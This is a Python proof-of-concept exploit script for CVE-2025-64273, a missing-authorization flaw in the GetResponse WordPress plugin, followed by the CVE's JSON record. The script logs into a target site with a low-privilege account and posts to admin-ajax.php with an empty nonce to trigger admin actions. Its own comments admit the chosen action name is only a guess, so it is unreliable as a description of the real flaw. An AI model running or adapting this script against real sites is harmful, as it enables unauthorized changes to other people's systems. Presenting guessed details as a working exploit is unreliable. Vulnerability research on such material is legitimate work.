CVE-2025-64273

# CVE-2025-64273 PoC - GetResponse WordPress Plugin Broken Access Control # This PoC demonstrates exploitation of missing authorization vulnerability # Requires a low-privilege WordPress account import requests import sys from urllib.parse import urljoin def exploit_cve_2025_64273(target_url, username, password): """ Exploit for CVE-2025-64273: GetResponse WordPress Plugin Missing Authorization This vulnerability allows low-privilege users to perform admin actions due to missing capability checks on certain AJAX endpoints. Note: Modify the 'action' parameter and data fields based on target """ # Setup session session = requests.Session() # WordPress login login_url = urljoin(target_url, 'wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f'[*] Logging in as {username}...') login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print('[-] Login failed!') return False print('[+] Login successful!') # Exploit the missing authorization vulnerability # Target AJAX endpoint with missing capability check ajax_url = urljoin(target_url, 'wp-admin/admin-ajax.php') # Common vulnerable actions in GetResponse plugin # Adjust action name based on actual vulnerable endpoint exploit_data = { 'action': 'getresponse_sync_lists', # Example action 'nonce': '', # May not be validated properly '_wpnonce': '' } print(f'[*] Sending exploit request to {ajax_url}...') exploit_response = session.post(ajax_url, data=exploit_data) if exploit_response.status_code == 200: print('[+] Request processed - check response for successful exploitation') print(f'[+] Response: {exploit_response.text[:500]}') return True else: print(f'[-] Request failed with status: {exploit_response.status_code}') return False if __name__ == '__main__': if len(sys.argv) < 4: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password>') print('Example: python exploit.py http://example.com/ subscriber password123') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_64273(target, user, pwd)

{"cve": {"id": "CVE-2025-64273", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:13.743", "lastModified": "2026-04-27T16:16:39.417", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in GetResponse Email marketing for WordPress by GetResponse Official getresponse-official allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Email marketing for WordPress by GetResponse Official: from n/a through <= 1.5.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/getresponse-official/vulnerability/wordpress-email-marketing-for-wordpress-by-getresponse-official-plugin-1-5-3-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}